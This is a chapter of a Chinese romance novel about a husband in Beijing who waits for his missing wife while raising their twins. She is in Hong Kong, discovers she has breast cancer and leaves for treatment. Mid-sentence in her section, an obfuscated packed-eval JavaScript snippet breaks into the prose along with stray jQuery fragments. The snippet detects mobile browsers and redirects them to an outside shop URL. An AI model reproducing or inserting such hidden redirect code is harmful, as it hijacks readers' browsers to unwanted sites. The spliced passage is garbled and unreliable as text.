沈晏站在新置的院子里，看着刚种下的两棵梧桐树，树干还细，枝叶也稀疏，工人说得好几年才能长成。
他点点头，付了钱，一个人站在那里看了很久。
怀安跑过来，扯着他的衣角：“爸爸，这是什么树？”
“梧桐。”沈晏低头看他，声音放得很软。
“为什么要种树？”
沈晏蹲下来，和儿子平视。怀安快三岁了，眉眼越来越像思玥，尤其是那双眼睛，清亮亮的，看人的时候总带着一点好奇和审视，和她一模一样。
“因为……”他顿了顿，“因为妈妈喜欢梧桐。”
“妈妈在哪里？”怀安歪着头问。
沈晏张了张嘴，说不出话来，他也想知道思玥在哪里。
念玥也跑过来了，小手拉着他的袖子：“爸爸，我要妈妈。”
两个孩子，两张小脸，都仰着看他，眼睛里都是期盼。
沈晏把两个孩子都搂进怀里，紧紧抱着。
“妈妈……”他的声音有些哑，“妈妈在很远的地方。等梧桐树长大了，她就回来了。”
念玥似懂非懂地点点头，窝在他怀里不说话了。怀安则认真地看着那两棵小树，仿佛在想象它们长大的样子。
沈希希站在廊下，看着这一幕，红了眼眶。她走过去，轻声说：“哥，进屋吧，起风了。”
沈晏点点头，抱起两个孩子，回了屋。
沈霆的身体越来越差，整日躺在床上，清醒的时候少，糊涂的时候多。可每次糊涂，喊的都是思玥的名字。
“思玥回来了吗？”他问，“饭做好了没有？孩子饿了。”
沈希希每次都红着眼眶哄他：“快了快了，思玥马上就回来。”
沈霆就点点头，安静下来，等着那个永远不会推门进来的人。
杨石泽隔三差五来信，每次都只有寥寥数语：还在打听，没有消息。
沈晏把这些信收在一个盒子里，和那些从上海带出来的东西放在一起。东西不多——几张残缺的照片，几件孩子的旧衣服，还有那支他用过后来送给思玥的钢笔的同款。
他自己的那支，一直带在身上。
夜深人静的时候，他会拿出来看。笔身已经有些磨损，笔尖还完好。他想起送她钢笔的那天，她说“以后我们用一样的笔，写不一样的人生”。
现在，他的人生里，没有她了。
他不知道她还在不在这个世上，不知道她过得好不好，不知道她是否也在想他。
他只能等。
等一年，等十年，等一辈子。
......
北京的日子比上海平静，战火似乎暂时烧不到这里来。
沈晏接手了几桩生意，慢慢把家业重新立起来。
白天忙得脚不沾地，晚上回来陪孩子，给他们讲故事，哄他们睡觉。
念玥喜欢听故事，每天晚上都要他讲。他讲小兔子的故事，讲大灰狼的故事，讲月亮婆婆的故事。念玥听着听着就睡着了，小手还抓着他的衣角不放。
怀安则喜欢问问题。问天上为什么有星星，问月亮为什么不掉下来，问妈妈什么时候回来。有些问题沈晏能答，有些他答不上来，只能抱着儿子，说“等妈妈回来，让她告诉你”。
日子一天天过去，梧桐树的叶子黄了又绿，绿了又黄。
两个孩子会走路了，会跑了，会叫爸爸了，会念诗了，会写字了。他们越长越大，越长越像思玥。有时候沈晏看着他们，会恍惚觉得思玥就在身边。
他会在院子里种花，种她喜欢的那种。会买她爱吃的点心，虽然自己不吃。会在深夜一个人坐在梧桐树下，对着月亮说话，说今天孩子们怎么样，说生意怎么样，说他有多想她。
有一年秋天，梧桐树第一次结了果子。
沈晏捡起一片落叶，夹在信纸里，放进那个装满了信的盒子。
他也在写信。
和她一样，写了很多很多信，每一封都无处投递。
“思玥：
梧桐树长大了。怀安已经能爬到树杈上，念玥在树下急得直跳。他们天天问我，妈妈什么时候回来。我说快了，等梧桐树再长高一点。我不知道这样骗他们能骗多久。
父亲去年冬天走了。走之前还喊你的名字。希希哭得不成样子，我抱着她，没哭。我的眼泪大概早就流干了。
生意还好，够我们生活。北京这地方干燥，和上海不一样，和杭州也不一样。孩子们倒是适应得快，现在已经满口京片子了。有时候听他们说话，觉得你听见了一定会笑。
杨石泽还在帮我打听。这么多年了，他也没放弃。我感激他，真的。可我越来越不敢问，怕问了，得到的答案是我承受不了的。
今天是你的生日。我煮了一碗面，一个人吃了。孩子们问为什么要吃面，我说给妈妈过生日。他们信了，还给你画了画。画得很丑，但很认真。我收起来了，等你回来给你看。
等你回来。
这四个字我写了多少遍了？一百遍？一千遍？每一遍都像在骗自己。可如果不骗，我不知道该怎么活下去。
梧桐叶又落了一地。我捡了一片，夹在这封信里。你看，北京的梧桐叶，和上海的，是一样的。
无论你在哪里，无论要等多久，我都会等下去。
沈晏书！”
信写完，和那些落叶一起，收进盒子里。
夜深了，他一个人坐在院子里，看着那两棵已经长得比人还高的梧桐树。风吹过，叶子沙沙响，像在说话。
他想起那年春天，他们在上海的小洋楼里，她抱着孩子站在窗边，说等梧桐叶绿了，他就该回来了。
后来他回来了，梧桐叶正绿。
可现在，梧桐叶又黄了，落了，绿了，又黄了。一年又一年，她再也没有回来。
他不知道她是否还活着，不知道她是否也在某个地方，和他一样，对着月亮说话，对着落叶写信。
他只知道，他会一直等。
等到梧桐树老去，等到孩子们长大，等到他老得走不动路。
等到重逢的那天。
哪怕是在另一个世界。
院墙外传来更夫的梆子声，三更了。沈晏站起身，最后看了一眼那两棵梧桐树。
树影婆娑，月光如水。
他转身回了屋。
孩子们睡得很香，怀安踢了被子，念玥抱着一个旧旧的布娃娃——那是思玥亲手做的。沈晏轻轻给他们盖好被子，在两个孩子额头上各亲了一下。
然后他躺下，看着天花板，想着那个不知在何处的她。
“思玥，”他在心里说，“晚安。”
和每一个夜晚一样，他带着这句话，沉入梦乡。
......
一个寻常的午后。
那天她给一个病人做完检查，起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252506|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候胸口一阵刺痛。她起初没在意，以为是太累了。可洗澡的时候，她无意间触到那个位置，摸到一个小小的硬块。
她的手顿在那里，很久没有动。
她是医生。她知道那意味着什么。
可她没有声张。第二天照常出诊，第三天照常出诊，第四天也是。直到一个月后，陈扬来找她，看见她瘦得脱了相，脸色蜡黄，才硬拉着她去做了检查。
检查结果出来那天，陈扬在诊室外站了很久。
乳腺癌，中期。
他推开门，看见何思玥坐在那里，手里握着那支钢笔，神色平静得不像一个刚被宣判的病人。
“你早就知道了？”他问。
何思玥没有回答，只是轻轻点了点头。
“为什么不告诉我？”
“告诉你又能怎样？”她说，声音很轻，“这里有药吗？有能治的设备吗？还是你能变出个沈晏来？”
陈扬被她堵得说不出话。
那天晚上，他坐在她屋里，翻来覆去睡不着。天亮的时候，他找到她。
“去北平。”他说。
何思玥抬起头看他。
“我打听到了，北平有家教会医院，能做这种手术。有个叫林巧稚的医生，妇产科出身，但对外科也精，听说技术很好。”他顿了顿，“你不能再拖了。”
“北平……”何思玥喃喃重复着这两个字。
那是北方。那是她从未去过的地方。那里没有沈晏，没有孩子，没有她熟悉的一切。
可那里有医院，有能治她病的医生。
陈扬见她不说话，急得攥紧了拳头：“何医生，你想想，你要是死了，万一沈兄还活着，万一他还在找你，你让他怎么办？让孩子怎么办？”
这话像一把刀，狠狠扎进何思玥心里。
她低下头，看着手里那支钢笔。笔杆被她握了太久，已经磨得光滑发亮。她用这支笔写了多少封信？写了多少思念？那些信还整整齐齐地放在箱子里，用念玥满月的红绳系着。
她死了，那些信怎么办？
她的沈晏怎么办？她的孩子怎么办？
“好。”她说，“我去。”
临走那天，香港下着小雨。
陈扬送她到码头，把一个信封塞进她手里。里面是船票，还有一张写了地址的纸条。
“这是我托人找到的，那家医院的地址。”他说，“到了北平，先找地方安顿下来，然后去医院挂号。钱的事你别担心，我托了那边的朋友，会接应你。”
何思玥握着那张纸条，看着眼前这个陪了自己的男人。他比刚来香港时瘦了，黑了，眼窝深深陷进去。
这一年多，他帮她找住处，帮她找工作，帮她打听沈晏的消息，现在又帮她找医院。他为她做了太多事，他欠沈晏的人情早就还清了。
“陈扬，”她说，声音有些哑，“谢谢你。”
陈扬摆摆手，眼眶有些红：“别说这些。到了那边，好好治病。沈兄一定还在等你。两个孩子也一定在等你。”
何思玥点点头，转身走上船。
船开了，雨还在下。她站在甲板上，看着香港渐渐模糊在雨雾里，看着那个瘦削的身影还站在码头上，一直没有离开。
她把那沓信用油纸包好，紧紧抱在怀里。
怀安，念玥，沈晏。
我来找你们了。
这一次，一定要找到。